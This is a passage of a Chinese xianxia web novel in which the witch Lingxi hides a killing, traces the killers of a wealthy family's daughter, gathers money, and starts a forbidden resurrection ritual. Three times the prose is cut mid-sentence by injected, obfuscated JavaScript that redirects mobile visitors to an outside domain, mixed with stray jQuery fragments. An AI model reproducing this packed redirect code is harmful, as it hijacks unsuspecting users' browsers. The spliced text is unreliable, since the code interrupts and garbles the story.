所以,对付灵山那边,要么用手上这位灵山学子的性命威逼,要么用“修炼秘法”利诱,其实她还挺想找个机会和灵山做交易的…… “放他一个人在那儿不管吗?”渡沙突然闪至身旁打断灵汐的思路。 灵汐:“没事,他在和灵山告我的状呢,不用管他,先处理尸体吧!” 渡沙:“?” 两人来到种下罗骨花的花园一角。 当时种了两颗种子,不到半月,两株罗骨花都长到灵汐胸口那么高了,看来喂的“养料”十分符合它的口味。 将新鲜的血水浇在罗骨花周围,再盖上厚厚一层土。 分壤裂土将尸体埋进两株花根系中间,又将几层土壤一一还原。 大功告成,灵汐兴奋地拍拍手:“没想到和人做交易这么有用,不仅能赚钱,照这样下去,连罗骨花都能养活了!看来我应该学学缇娅,打开名气开店迎客多接生意。渡沙,你觉得呢?” 渡沙竖起大拇指:“我赞同!” 灵汐:“我说什么你都赞同!” 渡沙点点头:“你比缇娅厉害,一定能比她做得更好!” 灵汐脸上蓦然绽开一个绚烂笑容,笑得眉眼弯弯,周身萦绕的那股生人勿近的气场也尽数消散,整个人都变得柔和又生动。 渡沙也不由自主地跟着她笑起来。 “渡沙,不要救我。”灵汐噙着笑,眼神却无比认真,“无论发生什么,保全你自己才是最重要的,我的事我自己能解决。无论什么情况,我都能解决,你只要保护好自己就好了。既然知道其他人会针对你的魔族身份,那就不要为了任何人暴露身份,除非是为了保护你自己。” 渡沙的笑脸逐渐蒙上一层迷茫,灵汐知道该给她些消化时间,便拍拍肩膀示意她往回走:“你记住我的话就行了,可以慢慢想,先回去吧。” . 回到第一现场的水榭中,青竹语正在和通信竹另一头“千里传音”,是灵汐熟悉的声音,巫姑。 “你现在安全吗?她就这么放你来上报了吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305761|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 灵汐倚坐在亭边靠椅,插嘴道:“巫姑大人,我可是很尊重监律使的。” 通信竹上的小竹精发出巫姑带着笑意的声音:“我还以为你会把刀架在他脖子上,不让他上报这件事呢。” 灵汐:“的确有把刀架在他脖子上的计划,如果你们再用万象同声折磨我的话。” 巫姑:“这算是威胁吗?” 灵汐:“我也不想威胁你们的,不然我们用和平方式结束这件事吧,大家都开心。” 巫姑:“还有和平方式?” 灵汐动动手指,在青竹语的衣袖上提出一滴血,滴在通信竹上,很快便融进竹纤维,显示在另一头的竹片之上。 巫姑:“什么意思?” 灵汐:“我杀的那个人,以你的预卜能力,就算只有一滴血,应该也能看到些东西吧?帮我看看他有没有杀过人吧?” 通信竹安静下来,灵汐就一手支着头静静看着还在怒火中烧的青竹语。 没过多久,巫姑的声音再次响起:“藏得很深啊,没看错的话,背了七条人命呢。” 灵汐挑挑眉,给了青竹语一个“我就说吧”的眼神:“那我不算为民除害吗?” 青竹语愤愤回瞪了一眼,转过头不再看灵汐。 巫姑轻笑一声:“人族自有人族的律法,不是你能擅自定人生死的……” 灵汐:“我可以答应你们一个条件。” 巫姑一时静默,灵汐趁机追击:“我可以答应灵山一个条件,仅此一次机会的话,你们会提什么条件呢?” 灵汐饶有兴趣地看着闪着灵光的通信竹,心有成竹地等待着对面的回答。 . 西屏山山神庙。 跟着林朔来寻找巫师的几个侍从坐的坐、躺的躺、睡的睡,近些日子主家有丧礼,家仆们忙得不可开交,此时终于远离主家得了空闲,都各自找了舒服的姿势好好休息。 家主离去一个多时辰后,终于有脚步声靠近,守门的车夫赶忙叫醒几人。 几人刚与周公告别,就见那位巫师踏进庙中,伸着头往巫师身后看了看,没跟着人。 只见那位望山大师拿出一枚莹润剔透、雕工精美的碧绿玉佩,气势凛然道:“这是你们家主给我的信物,我来帮他传话,他要留下来亲自参与招魂仪式,你们今天不必等了,先回去吧,仪式完成后我自会送他回去。” 林朔的随身仆从接过玉佩,确认是主人的随身之物,便听话地带着众人离去了。 灵汐走出山神庙时,青竹语正冷着脸等在不远处的一棵樟树下。 他现在冷静了不少,已经不再怒气冲冲的了,但无论如何都不肯再放灵汐单独行动。 灵汐叹了口气,青竹语可不是唯一不开心的人——有他跟着,灵汐只能绕路去山洞,再从山洞回山庄。 两人又像初见那天谁也不说话地走过七拐八拐的山间小道,不过今日的氛围可比初见那日冷多了。 “如果你认为他杀了人,就拿出证据把他交给官府,而不是擅自动手杀人。”青竹语打破沉默。 灵汐无动于衷:“我又不是官差,为什么要帮官府找证据办案?” “将杀人视若儿戏,你觉得你是掌握他人生死的神,但我看你是不知道生死之重。” 灵汐停下脚步,像是听到了什么荒谬至极的笑话,露出难以置信的表情看着青竹语。 “哈”一声短促笑声袭过青竹语耳畔,就见灵汐收回目光,看着前方郁郁葱葱的密林呆愣一时,随后爆发出一阵大笑。 灵汐笑得停不下来,青竹语看着她抖动的肩膀,十分莫名其妙,只觉得越听她笑越是脊背发凉、越是汗毛倒竖。 灵汐笑得直不起腰,笑得眼角浸出眼泪才终于止住,瞬时收声,冷静下来。 她看着青竹语似笑非笑:“真有意思。” 20. 匪患·结 灵汐看着青竹语似笑非笑:“真有意思。” 直到灵汐恢复正常继续往前走,青竹语那汗毛倒竖的不适感才逐渐缓和。 从灵汐上灵山那天起,青竹语便知道她是个危险人物,自己和她近距离相处这么多天,却总有种隔纱相望的感觉。 灵汐刚才的一时失控,恐怕就是自己唯一一次接近真实的她。 然而,明知嗅到了危险气息,青竹语仍是临危不惧地试探道:“晗林在打听你的近况呢。” 灵汐顿了顿才回过头,微微一笑:“你就说灵汐已经死了吧。” 青竹语:“?” 灵汐勾着嘴角,眼中却十分冷峻:“我说真的。” . 回到山庄内,渡沙正用皂角水擦拭染了血的地板——虽然灵汐尽力把血水分离出来了,但地板上还是染了一层颜色。 灵汐也自觉拐进水榭加入擦地板的劳动队伍,青竹语则目不斜视地从旁走过。 灵汐用目光跟随那道青色背影:“你不来帮忙吗?” 青竹语脚步一顿,不可思议道:“什么?你难道想让我帮你清理杀人现场?” 灵汐:“我们两个都在干活,你好意思一个人回去休息吗?” 青竹语冷哼一声,扭头便走,没走出几步,又折返回来:“尸体呢?” 灵汐抬头就看见一把明晃晃的银色长剑——青竹语将这柄剑直接挂腰上了。 灵汐不好回答“喂花了”,只能反问:“你问这个做什么?” 青竹语:“明天你打算怎么和贺家交待?直接把被你割了喉的尸体送过去吗?” 当然不是,尸体都喂花了,哪还能还给他们家呢? 灵汐面无表情:“我自有办法。” 青竹语:“所以尸体呢?” 灵汐:“……你老纠结尸体干嘛?” 青竹语:“你想毁尸灭迹?这还有目击证人呢!” 灵汐:“你不帮忙就不要打扰别人干活,渡沙都擦了那么多了,你自己不干还来打扰我,有没有良心?” 青竹语简直要气晕了,一个动不动就杀人,另一个熟门熟路地帮忙清理杀人现场,现在反倒是他没有良心了? 除了脏话没有其他辞藻能表达青竹语的心情,可惜他不擅长脏话,两根手指哆哆嗦嗦地指着灵汐抖了许久,只说出一句:“你……不可理喻!我……我是不会帮你清理现场的!” 灵汐看着青竹语气冲冲的背影,和渡沙吐槽:“真是不近人情!” . 次日一大早,灵汐青竹语两人来到宁海城贺家大宅。 有林朔的随身之物做信物,两人被仆从客客气气地迎进门,院内依然一片缟素,似乎丧仪制品比上次来时更多了。 这次走得近了,灵汐才看清灵堂中的两支灵牌——一个是“先妻贺敏”,另一个是“故女贺明珠”。 灵位前有一年轻女子正拿着三根线香在长明灯上引火,是灵汐上次见过的在灵堂黯然垂泪的少女。 带灵汐进来的仆从向少女行了一礼:“二小姐,这位是昨天姑爷去找的那位巫师。” 袅袅香烟升起,三根檀香插入香炉后,贺二小姐才转过身来。 她看上去约莫十八九岁,身形纤细,眉清目秀,许是近些天伤心劳神,有些面容憔悴、双眼浮肿,一开口便是掩不住的疲惫感:“你就是姐夫昨天去找的巫师?他怎么没回来?我姐明天出殡,事务繁杂,他此时离开算怎么回事?” 灵汐礼貌微笑:“他不会回来了。” 贺二小姐:“你什么意思!” 灵汐:“你想找到杀害你姐姐的山匪吗?我能帮你找到哦!” 贺二小姐听闻此言全身上下都微微颤抖起来,配上一身雪白丧服,宛如一枝顶着寒风傲立枝头的梨花,面上却在强壮镇定:“你可知我贺家是什么人家?你若是敢妄言相欺,仔细你的性命!” 一旁的仆从建言献策:“二小姐,要不要把二老爷和三老爷找来?” 贺二小姐皱了皱眉,似是不太高兴:“林朔忽然玩消失,宾客宴席、仪仗、路祭、随葬品……现在都指望着二叔三叔过眼,这点小事难道还要劳烦他们?我自己可以做主!” 仆从“扑通”一声跪下来:“是小的多嘴了!” 灵汐将装满了林朔随身物件的钱袋抛给这位二小姐:“把昨天跟着林朔一起去找我的那几个侍从叫过来,我就能找到那些山匪的下落。” 不知是激动还是怎地,这位二小姐原本苍白的小脸竟浮上些血色,连说话声都中气十足起来:“你最好说到做到!” . 贺二小姐将灵汐二人引至一间会客室,没多久,林朔那三个仆从便也走了进来,给二小姐行了礼,便低着头恭恭敬敬地站成一排等待吩咐。 灵汐昨天就知道哪个人是林朔的心腹了,径直走到那小厮面前,两指抵其额心,默声念咒:“前尘溯影,叩问灵渊,浮光掠影,心镜重现!” 眼前浮现一幕幕记忆,灵汐挑着近期有林朔的画面一一查看,一点点拼凑出了林朔的行动轨迹。 溯查记忆十分耗费时间,贺谨见灵汐迟迟不动,心下焦灼起来,忍不住上前询问:“怎么……” 谁知刚开口就被那位跟着巫师一起来的青衣男子拦住:“等等,她还需要些时间。” 青竹语虽然未达意动境,还不能施展影响人记忆心神的术法,但他基本功课学得很扎实,很清楚灵汐在做什么。 一炷香过后,灵汐撤下手指,那小厮意识一空,朝地面倒去—— 青竹语及时接住小厮,扶着他靠在门边,仔细检查过后才嘱咐旁人:“扶他下去吧,他睡一会儿就能醒了。” 灵汐找到线索就头也不回地去和贺二小姐对账:“青柳巷、东和桥、清波巷、陶户巷、河坊街……林朔近期去过这些地方的私宅,有没有哪里可疑的?” 虽然这小厮几乎是林朔走到哪儿他就跟到哪儿,灵汐也基本摸清了林朔近期避着人去了哪些地方,但这小厮十之八九的时间都在外面守门,灵汐顶多能看到林朔见了些人,但看不到他们商议的具体事宜,只能靠其他线索推断了。 “你怀疑我姐夫?”贺二小姐明显有些不悦。 “他们夫妻感情一向很好,”灵汐微笑打断贺二小姐,“我知道你要说这个,但我肯定和他有关。” 贺:“你怎么肯定?” 灵汐:“你平时并不信巫祝之说吧?我们刚进来时你对我们极为不耐烦,但我说我能找到杀害你姐姐的山匪,你还是愿意让我一试。” 贺:“这和姐夫有什么关系?” 灵汐:“我也告诉过他,我是个擅长追踪寻人的巫师,但他来找我,只叫我做法安魂,追踪凶手的事提都没提,这不可疑吗?” 贺二小姐叫管家拿来府上账簿,一一对账,发现林朔至少有四处私宅都不在府上账簿,也从未告诉过贺家人。 灵汐:“有人能介绍下每处宅子周围的大概情况吗?不然我们得一一过去查验了。” 管家兢兢业业地拿起灵汐列出的宅院位置,开始介绍:“青柳巷在城东南,崇文书院就在那一片……” 老管家对城中十分了解,每个区域都能滔滔不绝地说上一番,然而,他刚介绍到第二个地方,贺二小姐就“啪”地一拍桌子,掷地有声道:“陶户巷!那是宁海城最边上,窑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305762|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厂和陶工聚集的地方,我家没有制陶产业,那边环境又差,他没理由去那里置办私产!” 灵汐:“好,那就去陶户巷!” . 半个多时辰后,灵汐带着众人找到了记忆中的那处宅院。 开锁就是顺手的事,灵汐轻而易举就进了院子,大摇大摆将房屋院落里里外外参观了个遍。 这里只是一处很普通的陶户民居,院子中有一个小型烧陶土窑,周围还摆着好些个烧制成型的各式陶具。 来的路上,灵汐知道了贺二小姐的名字——贺谨,和贺敏是两相互补的名字。一者聪慧机敏、一者谨慎周密,可见贺老爷当初对两个女儿寄托了十分美好的期望。 贺谨跟在灵汐后面参观完,表示疑惑:“这里没有人啊,是不是已经跑了?我差人去报官让官府尽快追查这家人的下落?” 灵汐摇摇头拦住贺谨,站定在院中,展开神识探究这里每一寸灵息。 不多时,灵汐指着后院一颗枇杷树,波澜不惊道:“这下面有尸体。” 准确来说,只有尸骨。 将挖出的骨头拼一拼,一共四具尸骨,都是身材魁梧的成年男子,不过尸体都被烧毁,已无面目可辨。 灵汐判断这四个人都是中毒身亡,死于四五天前,也就是贺敏遇害三四天后。 贺谨从未直面过如此场景,从见到第一个头骨出土起,她就僵直着身体站得远远的。 灵汐操控着碎骨拼出一个个人形,又一一检查并推测出死因及死亡时间后,贺谨才踩着碎步挪到灵汐身边:“是他们吗?他们就是杀害我姐和珠儿的凶手吗?” 灵汐:“我只能说推测如此,你去上报官府吧,直接证据还是让官府去找吧,我就不奉陪了。” 贺谨一把抓住灵汐衣角,本就憔悴的脸色此时更是一片惨白:“等等大师!那林朔呢?他在哪儿?把他送去官府不就能问清楚了?” 堂堂贺家二小姐从不信鬼神巫蛊之说,但见过几十块白骨飞来飞去的场面后,她决定尊称其一句“大师”。 灵汐:“……他可能……畏罪潜逃了。” 贺谨:“?” 青竹语:“?” 贺谨:“大师,他昨天不是去找你了吗?” 灵汐:“看在我帮你找到了山匪的份上,你能当他畏罪潜逃了吗?” 贺谨原本抓着灵汐衣角的手转为死死抓住灵汐手腕:“你不会是帮他潜逃了吧?你明知他有嫌疑竟然还……你……大师,他给你多少钱?我贺家双倍给你!三倍也行!只要你帮我们抓到真凶,我保你这辈子衣食无忧!” 灵汐安抚性地拍了拍贺谨的手,凑到她跟前低声说:“其实,我送他下去了……送他下去见你姐了。” 贺谨:“?” 灵汐:“你如果打算把我也报给官府的话,我就删掉你这段记忆。” 贺谨眨眨眼,似乎花了点时间才消化掉这信息量爆炸的两句话,也学着灵汐低声道:“我怎么知道你没骗我?我怎么确定你不是放走他,而是送走他了?” 灵汐:“……你想的话,我可以带你看看他的尸骨。” 经过一番讨价还价,贺谨终于同意先让家丁去报官说“家里请的大师算出了山匪的所在方位”,先从山匪和这宅子查起,暂时瞒下林朔去向。 灵汐不想配合官府问这问那,打算提前溜走,却被贺谨拦下:“大师等等!我还不知大师如何称呼?还有您平日在何处修行?我该如何找你?” 灵汐:“吾……” “灵汐,她叫灵汐。”青竹语抢先道。 灵汐:你默默跟了一路,就这么一次主动出声,就为了爆我真名? 21. 故友来信 青竹语:“灵汐,她叫灵汐。” 灵汐猝不及防被爆真名,眼睛瞪圆一瞬,又立刻管理好表情找补道:“凌蹊,会当凌绝顶①,欲还绝无蹊②……” 哈哈,太过猝不及防,以至于有些口不择言了。 贺谨来回看着两人,忽略诡异的气氛,压下心中疑虑,继续说正事:“请问大师仙府何处?大师所赐线索,于查明家姐遇害真相至关紧要,此番恩情,小女子铭记于心。只是今日出门仓促,未备薄礼,待此间种种疑情移交官府,我一定亲至大师府上登门道谢。” 灵汐一听,心思活络起来,这可是首富之家,要什么谢礼,值得好好想想。 于是灵汐决定往后拖一拖:“看这毁尸灭迹的程度,其他线索一定也被凶手有意抹除了,此案也不是一日两日就能查清的,你家又要忙丧仪又要查凶案,就不必分神惦记我了。你若想感谢我,只需记在心上,待时机到了,我自会来找你要谢礼的。” . 和贺谨道别,离开陶户巷的路上,正巧遇上浩浩荡荡的两列人马涌进这条小巷。 灵汐与其擦肩而过,目送飞舞的青色官服靠近又远离,直至消失在视线之外,灵汐顺势转身与青竹语面对面:“你是在报复我吗?” 青竹语:“我为什么报复你?” 灵汐也很疑惑:“对啊,我杀的又不是你……那你为什么擅自把我本名说出去?” 青竹语理所当然道:“因为想逼你对自己的行为负责。” 灵汐:“?” 青竹语:“你用假名是因为不想承担责任吧?” 灵汐:“你用真名是因为没被人追杀过吧?让你被人追杀一次,我看你还会不会到处留真名!” 灵汐狠狠瞪着不知世事险恶的青竹语,青竹语却不见恼,平静地与灵汐对视良久才开口道:“现在没有人追杀你了。” 说完就如一片随风飘舞的竹叶般绕过灵汐飘走了。 一时竟不知如何反驳,没来得及回嘴的灵汐咬着牙无奈笑笑,越想越不甘心——她的吵架原则就是一定要当最后一个输出的人。 于是小跑几步跟上青竹语,低声念叨:“虽然说得冠冕堂皇,但你绝对有报复心理在里面,你的表情太明显了,只要不是瞎子都能看得出来——你看我不爽。” 青竹语脚步一顿,深吸一口气,胸膛鼓起又落下,“我承认,我不赞同你的行事。就算林朔是个恶人,你也没有权利私自杀他。” “啧啧啧,”灵汐装模作样地鼓了鼓掌,嘴角挂上一抹虚伪的标准微笑,“守序正义对吧?那之前灵山集会,大家听到我要分享修炼秘籍,就把我从死罪改为监禁,你岂不是要气死啦?” 青竹语眉头跳了跳:“十巫决议是从整个巫族的利益出发,我愿意服从。” 灵汐:“那巫姑还决定不追究我杀林朔的事呢,你再因为这件事给我添堵,不怕耽误你的巫族大业吗?” 青竹语一时哽住,灵汐嫣然一笑,甩头离去。 . 灵汐想让渡沙多一些个人空间、多些机会独立思考,因此特地没有带渡沙同去贺家,只嘱咐她自己找些事做。 回到扶月山庄,灵汐把从城里打包回来的饭食带给渡沙,顺便问她在家里做了些什么。 渡沙默不作声,只拿一双眼睛瞅瞅灵汐,又瞥瞥青竹语,又看看灵汐。 灵汐立刻明白,有些事不方便在青竹语面前说,于是脸不红心不跳地打发青竹语,“闺阁密语,请勿偷听”,就带着渡沙回了房间。 “说吧,怎么了。” “赫戏和苍离今天疯了一样给你写信,赫戏来信四十二次,苍离来信十八次。” 灵汐一向懒得回日常问候的信件,而且她的通信之人大多数都不方便让青竹语看到,所以无事时灵汐的通信竹一直交由渡沙保管,就算有什么紧急情况渡沙也能不靠通信竹联系到她。 虽然赫戏苍离隔三差五就会来信问候,但如此高频的信件一定是出了什么事,灵汐急忙问道:“发生什么了?” 渡沙的语气没有丝毫起伏:“他们好像吵架了,赫戏一直在骂她哥,还问能不能来找你。苍离也在数落赫戏的不是,还问你在哪儿。” 灵汐有些头疼,苍离和赫戏是一对魔族兄妹,是自己在大荒流浪时认识的朋友,且交情不浅。 尤其是赫戏,好姐妹可不能放着不管。 但赫戏可不是渡沙,她可不会乖乖掩饰魔族身份伪装成人类。 而自己这两天和青竹语闹得有些僵,和灵山那边……虽然暂时和平,可一旦牵扯到魔族,灵山那边必定不会再那么好说话了。 灵汐只能给赫戏回信:『你能再等些时日吗?我家暂时有些不方便,等我给你找到安全的落脚点,你再来找我。』 灵汐没有收到回信。 灵汐怀疑他们兄妹俩已经和好了,毕竟自己已经见证过很多次这对兄妹从一言不合到大吵大闹大打出手再到冷静下来道歉和好的全过程。 灵汐还在思考怎么神不知鬼不觉地把另一个魔族偷渡到青竹语眼皮底下,渡沙就安安静静但目不转睛地盯着灵汐。 灵汐察觉异样:“你还有什么事要说吗?” 渡沙点点头,从怀中掏出叠得工工整整又写满了密密麻麻的墨迹的一摞纸,递给灵汐道:“我向缇娅打听了她的生意模式和经营状况,她从店面选址、宣传方式、主营业务、商品组合等方向都提出了建议,我已经整理出了一份巫师店铺规划方案,你要不要看一下?” 好强的执行力! 灵汐瞠目结舌:“是因为我昨天说的那句话吗?” 渡沙点点头。 灵汐目瞪口呆:“你一天就准备好了方案?还去问了缇娅?” 渡沙:“你不是想做吗?我觉得十分可行,就去找缇娅问了一下经验。” 灵汐由衷赞叹:“不愧是你!也太高效了!” 灵汐接过厚实的一叠纸,认认真真通读一遍,里面从定价参考到口碑打造,从畅销产品到官府关系维护,各种事宜都写的十分详细。 “为什么龟甲和古铜钱是‘必需品’?”灵汐指着一列小字诚心求问。 渡沙:“是占卜用具。” 灵汐:“我占卜不用这些东西啊。” 渡沙:“我也问过缇娅这个问题,但她说这是人族认定的巫师占卜工具,有这些他们才相信你是专业巫师!” “原来如此!”灵汐惊叹,缇娅才入世几年,都把人族心思摸得这么透彻了,“那你有没有和她聊些别的?” 渡沙:“问了她的近况,她说玉林郡郡尉起兵攻破邻郡,又以重兵锁住几处险山要塞,隔绝中原,现已占据两郡,自立为镇南王。缇娅说之后还会有大规模战事,她在准备收拾收拾去深山隐居了。” 灵汐手中翻着纸张,似是随口说道:“不行的话,我能帮她们转移到别的地方。” 渡沙:“嗯,我和她们说了带上你的阵法,需要的话,她们会联系我们的。” 灵汐拍拍渡沙的手:“做得真棒!非常周全!” 厚厚一沓方案看完了,灵汐也焦虑起来了,方案都准备好了,再不开店就不礼貌了。 灵汐:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305763|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那下一步该做什么了?” 渡沙眨眨眼:“备钱,租店面。” 灵汐恍然大悟:“哈哈哈哈,没错,我去找钱,你先去吃饭吧,我来搞定钱的事。” . 灵汐用通信竹连接了远在大荒西陆的另一个人。 『伊木伊木,有空吗?我需要钱。』 无需等待,灵汐立刻收到了回信: 『是本人?』 『是我。』 竹上精灵当即被唤醒,随即传来一道尖利男高音,说着明显不是姜国官话的异族语言:“姐姐,你还活着啊!你知不知道你已经将近两个月音讯全无!我还以为你死在外面了!” 灵汐:“我有让渡沙替我回信啊。” “你也知道是渡沙回的,又不是你自己回的!她每次回信只会回同一句话,我当然能看出来是她!我这不是在担心万一渡沙起了叛变之心把你杀了将你的通信竹占为己有再冒充你给我们回信怎么办!这也不是不可能发生吧!”伊木不带停顿地一股脑说完一场大戏,听得灵汐都有点喘不过气。 灵汐:“……这件事发生的概率比我死在外面还要小。” 伊木崩溃:“那你为什么不回信!为什么!你不回信这一点你知不知道有多烦人!” 灵汐:“最近比较忙。” 伊木:“忙什么啊,姐姐?除了坐牢之外这世上还有什么不能回信的状况吗?” 灵汐一拍手:“你怎么知道?我还真的去坐牢了!” 伊木:“你不是去找人的吗?不是找你师尊吗?怎么去坐牢了?” 灵汐:“说来话长,我不想说。” 伊木:“那你找到你师尊了吗?” 灵汐:“没有。” 伊木:“你不是最强的吗?连你都找不到,会不会其实已经死了?” 灵汐:“……” 伊木:“呸呸呸,当我没说当我没说,那个,你是来要钱的对吧?我该给你传到哪儿去啊?” 灵汐凝神施术,在大荒另一端的传送阵上引灵流画下一个新锚点。 “我给你联通了一个新阵法,以后往来都用这个新锚点。” “好,我把钱装好了,你注意收一下。” 灵汐给信任的好友们都留下了通信竹和传送阵,也教了他们如何启动阵法,以方便彼此往来。 对话结束之前,伊木抛出了最后一个问题:“对了,赫戏也在找你,你知道吗?” “知道,我回她了。” “那就行。” 不一会儿,灵汐面前的阵法灵光大闪,阵纹上便出现了一只鼓鼓囊囊的布袋子。 提起布袋一倒,沉甸甸的金币敲在桌面上发出闷响,灵汐数了数,总共四十八枚。 灵汐张开双手,数十枚金币尽数被牵引至半空,温度急速攀升,将周围空气都烤出热浪,印着花纹的金币逐渐熔化,又被一双无形之手重新塑型,最终捏成了两对环形手镯。 灵汐维持着手镯形状,将其投入窗下一只装满水的青石水缸,随着一阵刺啦作响,金镯子便冷却成型,再用玛瑙刀打磨抛光,便于出手的金首饰便打造完成。 . 当天晚上,灵汐做梦都梦着自己开了店,大巫之名远播,客人络绎不绝,金银铜钱源源不断涌来,发财美梦实在香甜。 直到一阵血腥味飘进鼻中。 灵汐与渡沙同时惊起,对视一眼,便默契翻身寻找血气来源。 循着血腥气拿开枕头,露出下面的通信竹——只见通信竹以往来信时的幽幽蓝光变成了卷着血腥气的瘆人红光。 22. 禁术·死而复生 灵汐循着血腥气拿开枕头,露出下面的通信竹——只见通信竹以往来信时的幽幽蓝光变成了卷着血腥气的瘆人红光。 不是千篇一律的问候,是有人血书传信于她! 灵汐不敢耽搁,立即施术显现字迹,三寸竹节瞬间变长,其上显出猩红六字:“杨弋伏乞援手”。 灵汐当即凝神念咒,感应传信方所在方位。 山水重重,千里迢迢,穿过田畴,越过城镇,好不容易才寻到发信源位置,靠着自己留在对方通信竹上的标记远程施术,颇费了些力气才调动对方附近的灵力,连通了自己周围的灵气流同施一阵。 “此界彼方,虚镜两面,一帷开,山海连!” 传信方与灵汐面前的虚空同时出现一方一模一样的灵气法阵,阵眼中心的光斑随着咒语扩大开裂,天涯咫尺的另一方景象便呈现在灵汐眼前——无边夜色下熊熊燃烧的木屋,和跪在屋前被万箭穿心的人影。 渡沙抢在灵汐之前正欲跨过法阵,灵汐眼疾手快地将其拉回:“你留下,不要让青竹语发觉我离开过!我速战速决!” 虽然灵汐在自己房间施下了静息结界,照理来说青竹语觉察不到这里的灵气流动,但万一他发觉了什么异常,还是要留个人拖住他,不能两个人都离开。 渡沙坚定点头,将万象袋和一把匕首塞给灵汐:“注意安全!” . 灵汐越过传送门,来到跪坐在地的人影前,身后的空间裂口缓缓闭合,渡沙也被隔绝在另一时空。 男人胸前插了八、九支羽箭,身上短衫已被血水浸透,看不出原本颜色,饱经风霜的脸上满是血污,喝饱了血水的长剑就躺在身前。 他左手紧握通信竹,用血水写就的六个猩红字体又被血水浸染,扭曲变形。 对方是灵汐之前游历大荒时认识的一名游侠,名叫杨弋。 当时他带着一个六七岁的小侄女云游四方,行侠仗义。虽然居无定所,但杨弋武艺高强剑术非凡,过得倒也不错。 此前她虽留下通信竹,让杨弋有什么需要帮忙的可以找她,但一别数年间,杨弋从未联系过她。 没想到再见面,也是杨弋唯一一次求助,竟是这般生死存亡的情形。 灵汐一手按在杨弋心口,掌下迅速凝出一层冰霜覆盖其躯干。 只要护住心脉留他一口气在,灵汐就有办法治好他身上的箭伤。 灵汐施术止血,拔出他身上箭矢,正要把他放平在地上处理箭伤,杨弋似回光返照般恢复意识,迅疾抬手握住灵汐一只手腕,艰难转头看向燃烧的木屋,气息奄奄道:“救世安,救世安……” 灵汐心念电转——杨世安,杨弋那个小侄女的名字。 灵汐即刻施术灭火,又卷起一道疾风带走浓烟,迎着仍有些烫人的余温进入木屋,四下辗转,在里间一个大箱子中找到杨世安—— 利剑斩喉,伤口深可见骨,头部和身子仅靠颈骨和颈后一层皮肉连着,一双眼睛不甘地圆睁着,灵汐似乎还能看到她眼中的惊恐。 女孩身上、箱子里、周围地板上,到处都是血。 火是从外面烧起来的,所幸还没烧到她藏身的箱子。 灵汐只愣住一瞬,随即上前托住她耷拉在箱外的头颅,轻轻合上那双失神的眼睛。 她的身体还是温软的,她刚刚死去没一会儿。 没时间悲伤痛心了。 灵汐压下心绪波动,撕下一层裙摆盖住女孩颈部可怖的伤口,扶着她摇摇欲坠的头颅,小心地将尸体抱出屋外,放在屋前一片空地上。 灵汐回到杨弋身边继续为他医伤:“抱歉,她已经没气了,我救不了她……但我可以救你。” 杨弋再次钳住灵汐手腕,不知哪来的力气,灵汐竟被他攥得有些疼。 他通红的双眼乞求地望着灵汐,沙哑的嗓音断断续续道:“求你,救她,我知道,你有神通……求你,求你了……” 灵汐有些不忍,但拒绝的态度不变:“对不起,我不能救她,强行复活死者是违逆天道,逆天而行必遭反噬。” “求你……我以命换命……用我的命……” “你不是她亲爹,只是她叔叔,换不了。” “下辈子,我可以,给你,当牛做马……” “我不需要。” 灵汐几次三番挣脱手腕,试图继续为杨弋治伤,都被他挡了下来。 杨弋连呼吸都十分困难,时不时冒出血沫的口中却不停念叨着“救世安”,吊着他生魂的那口气仿佛只剩下“救世安”这一缕执念。 不知是被杨弋的坚持打动,还是顾念旧日情谊,灵汐改变了主意,不过开口却是:“我从不做亏本买卖的。如果要遭反噬,我就得收取值得反噬的代价。我不要你虚无缥缈的下辈子,你只能用这辈子来换……你愿意以灵魂为代价吗?” “我愿意!”杨弋原本涣散的双眼迸发出激动的高光,气息波动下又喷出一口血沫。 灵汐认真地盯着他的眼睛,又确认道:“你是否愿意和我签订魂契,把灵魂出卖给我供我驱使?魂契一旦签订,就没有回头路。” “我愿意!” 魂魄离体时间越短,召魂越容易。 得到肯定答复后,灵汐毫不犹豫地奔到杨世安尸体旁。 复生死者确有其术,但乃禁术之首。 幸亏灵汐上学时常年流连禁书室,看了不少禁术,才知道如何施展这禁忌之咒。 不过禁术之首当然也不是背下来就能用的,其施展起来需要调动浩瀚磅礴的弥天灵气,难度也堪称巫术之首。 灵汐以前也试过,那时失败了。 如今她已达巫师至高境界——天示境,她也想试试现在的自己能不能成功。 灵汐取下腰间匕首,划开小臂,取巫血在尸体周围三下五除二画出一圈精妙阵法,又将一道巫血喂入尸体口中。 先是念咒启动召魂阵,同时双手抚上尸体颈部,一心二用地施术修复伤口。 